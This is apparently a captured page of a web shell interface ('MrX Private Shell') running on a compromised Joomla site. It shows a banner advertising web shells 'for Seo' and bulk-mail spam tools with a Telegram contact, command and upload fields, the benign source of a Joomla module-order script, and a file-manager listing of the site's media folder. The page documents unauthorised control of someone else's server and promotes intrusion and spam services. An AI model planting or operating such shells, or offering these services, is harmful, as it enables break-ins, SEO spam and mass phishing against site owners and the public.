__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/**
 * @package         Joomla.JavaScript
 * @copyright       (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license         GNU General Public License version 2 or later; see LICENSE.txt
 */
customElements.define('joomla-field-module-order', class extends HTMLElement {
  constructor() {
    super();
    this.linkedFieldSelector = '';
    this.linkedFieldElement = '';
    this.originalPosition = '';
    this.writeDynaList.bind(this);
    this.getNewOrder.bind(this);
  }

  connectedCallback() {
    this.linkedFieldSelector = this.getAttribute('data-linked-field') || 'jform_position';

    if (!this.linkedFieldSelector) {
      throw new Error('No linked field defined!');
    }

    this.linkedFieldElement = document.getElementById(this.linkedFieldSelector);

    if (!this.linkedFieldElement) {
      throw new Error('No linked field defined!');
    }

    const that = this;
    this.originalPosition = this.linkedFieldElement.value;
    /** Initialize the field * */

    this.getNewOrder(this.originalPosition);
    /** Watch for changes on the linked field * */

    this.linkedFieldElement.addEventListener('change', () => {
      that.originalPosition = that.linkedFieldElement.value;
      that.getNewOrder(that.linkedFieldElement.value);
    });
  }

  writeDynaList(selectProperties, source, originalPositionName, originalPositionValue) {
    let i = 0;
    const selectNode = document.createElement('select');

    if (this.hasAttribute('disabled')) {
      selectNode.setAttribute('disabled', '');
    }

    if (this.getAttribute('onchange')) {
      selectNode.setAttribute('onchange', this.getAttribute('onchange'));
    }

    if (this.getAttribute('size')) {
      selectNode.setAttribute('size', this.getAttribute('size'));
    }

    selectNode.classList.add(selectProperties.itemClass);
    selectNode.setAttribute('name', selectProperties.name);
    selectNode.id = selectProperties.id; // eslint-disable-next-line no-restricted-syntax

    for (const x in source) {
      // eslint-disable-next-line no-prototype-builtins
      if (!source.hasOwnProperty(x)) {
        // eslint-disable-next-line no-continue
        continue;
      }

      const node = document.createElement('option');
      const item = source[x]; // eslint-disable-next-line prefer-destructuring

      node.value = item[1]; // eslint-disable-next-line prefer-destructuring

      node.innerHTML = Joomla.sanitizeHtml(item[2]);

      if (originalPositionName && originalPositionValue === item[1] || !originalPositionName && i === 0) {
        node.setAttribute('selected', 'selected');
      }

      selectNode.appendChild(node);
      i += 1;
    }

    this.innerHTML = '';
    this.appendChild(selectNode);
  }

  getNewOrder(originalPosition) {
    const url = this.getAttribute('data-url');
    const clientId = this.getAttribute('data-client-id');
    const originalOrder = this.getAttribute('data-ordering');
    const name = this.getAttribute('data-name');
    const attr = this.getAttribute('data-client-attr') ? this.getAttribute('data-client-attr') : 'form-select';
    const id = `${this.getAttribute('data-id')}`;
    const moduleId = `${this.getAttribute('data-module-id')}`;
    const orders = [];
    const that = this;
    Joomla.request({
      url: `${url}&client_id=${clientId}&position=${originalPosition}&module_id=${moduleId}`,
      method: 'GET',
      perform: true,
      headers: {
        'Content-Type': 'application/x-www-form-urlencoded'
      },

      onSuccess(resp) {
        if (resp) {
          let response;

          try {
            response = JSON.parse(resp);
          } catch (e) {
            // eslint-disable-next-line no-console
            console.error(e);
          }
          /** Check if everything is OK * */


          if (response.data.length > 0) {
            for (let i = 0; i < response.data.length; i += 1) {
              orders[i] = response.data[i].split(',');
            }

            that.writeDynaList({
              name,
              id,
              itemClass: attr
            }, orders, that.originalPosition, originalOrder);
          }
        }
        /** Render messages, if any. There are only message in case of errors. * */


        if (typeof resp.messages === 'object' && resp.messages !== null) {
          Joomla.renderMessages(resp.messages);
        }
      }

    });
  }

});

Filemanager

Name Type Size Permission Actions
calendar-locales Folder 0775
calendar.js File 40.41 KB 0664
calendar.min.js File 23.15 KB 0664
calendar.min.js.gz File 6.33 KB 0664
color-field-adv-init.js File 1.09 KB 0664
color-field-adv-init.min.js File 626 B 0664
color-field-adv-init.min.js.gz File 310 B 0664
joomla-field-color-slider-es5.js File 20.69 KB 0664
joomla-field-color-slider-es5.min.js File 7.99 KB 0664
joomla-field-color-slider-es5.min.js.gz File 2.58 KB 0664
joomla-field-color-slider.js File 17.68 KB 0664
joomla-field-color-slider.min.js File 7.55 KB 0664
joomla-field-color-slider.min.js.gz File 2.49 KB 0664
joomla-field-fancy-select-es5.js File 17.76 KB 0664
joomla-field-fancy-select-es5.min.js File 7.44 KB 0664
joomla-field-fancy-select-es5.min.js.gz File 2.43 KB 0664
joomla-field-fancy-select.js File 12.77 KB 0664
joomla-field-fancy-select.min.js File 5.67 KB 0664
joomla-field-fancy-select.min.js.gz File 1.79 KB 0664
joomla-field-media-es5.js File 21.35 KB 0664
joomla-field-media-es5.min.js File 10.81 KB 0664
joomla-field-media-es5.min.js.gz File 3.12 KB 0664
joomla-field-media.js File 12.41 KB 0664
joomla-field-media.min.js File 8 KB 0664
joomla-field-media.min.js.gz File 2.2 KB 0664
joomla-field-module-order-es5.js File 7.64 KB 0664
joomla-field-module-order-es5.min.js File 3.63 KB 0664
joomla-field-module-order-es5.min.js.gz File 1.46 KB 0664
joomla-field-module-order.js File 4.29 KB 0664
joomla-field-module-order.min.js File 2.2 KB 0664
joomla-field-module-order.min.js.gz File 925 B 0664
joomla-field-permissions-es5.js File 9.01 KB 0664
joomla-field-permissions-es5.min.js File 4.74 KB 0664
joomla-field-permissions-es5.min.js.gz File 1.76 KB 0664
joomla-field-permissions.js File 5.37 KB 0664
joomla-field-permissions.min.js File 3.29 KB 0664
joomla-field-permissions.min.js.gz File 1.19 KB 0664
joomla-field-send-test-mail-es5.js File 5.65 KB 0664
joomla-field-send-test-mail-es5.min.js File 2.84 KB 0664
joomla-field-send-test-mail-es5.min.js.gz File 1.19 KB 0664
joomla-field-send-test-mail.js File 2.55 KB 0664
joomla-field-send-test-mail.min.js File 1.49 KB 0664
joomla-field-send-test-mail.min.js.gz File 688 B 0664
joomla-field-simple-color-es5.js File 17.77 KB 0664
joomla-field-simple-color-es5.min.js File 9.18 KB 0664
joomla-field-simple-color-es5.min.js.gz File 3.5 KB 0664
joomla-field-simple-color.js File 12.88 KB 0664
joomla-field-simple-color.min.js File 7.44 KB 0664
joomla-field-simple-color.min.js.gz File 2.82 KB 0664
joomla-field-subform-es5.js File 23.01 KB 0664
joomla-field-subform-es5.min.js File 9 KB 0664
joomla-field-subform-es5.min.js.gz File 2.81 KB 0664
joomla-field-subform.js File 17.45 KB 0664
joomla-field-subform.min.js File 7.07 KB 0664
joomla-field-subform.min.js.gz File 2.08 KB 0664
joomla-field-user-es5.js File 9.65 KB 0664
joomla-field-user-es5.min.js File 5.06 KB 0664
joomla-field-user-es5.min.js.gz File 1.67 KB 0664
joomla-field-user.js File 4.81 KB 0664
joomla-field-user.min.js File 3.16 KB 0664
joomla-field-user.min.js.gz File 995 B 0664
joomla-media-select-es5.js File 32.67 KB 0664
joomla-media-select-es5.min.js File 17.99 KB 0664
joomla-media-select-es5.min.js.gz File 4.33 KB 0664
joomla-media-select.js File 20.33 KB 0664
joomla-media-select.min.js File 14.17 KB 0664
joomla-media-select.min.js.gz File 3.2 KB 0664
modal-fields.js File 6.56 KB 0664
modal-fields.min.js File 2.36 KB 0664
modal-fields.min.js.gz File 676 B 0664
passwordstrength-es5.js File 6.9 KB 0664
passwordstrength-es5.min.js File 2.61 KB 0664
passwordstrength-es5.min.js.gz File 1.01 KB 0664
passwordstrength.js File 6.35 KB 0664
passwordstrength.min.js File 2.55 KB 0664
passwordstrength.min.js.gz File 1015 B 0664
passwordview-es5.js File 2.45 KB 0664
passwordview-es5.min.js File 1004 B 0664
passwordview-es5.min.js.gz File 451 B 0664
passwordview.js File 2.29 KB 0664
passwordview.min.js File 949 B 0664
passwordview.min.js.gz File 433 B 0664
select-colour-es5.js File 1.53 KB 0664
select-colour-es5.min.js File 669 B 0664
select-colour-es5.min.js.gz File 300 B 0664
select-colour.js File 1.37 KB 0664
select-colour.min.js File 633 B 0664
select-colour.min.js.gz File 283 B 0664
tag.js File 2.09 KB 0664
tag.min.js File 922 B 0664
tag.min.js.gz File 413 B 0664
validate-es5.js File 27.17 KB 0664
validate-es5.min.js File 8.2 KB 0664
validate-es5.min.js.gz File 3.04 KB 0664
validate.js File 22.83 KB 0664
validate.min.js File 8.28 KB 0664
validate.min.js.gz File 2.97 KB 0664
Filemanager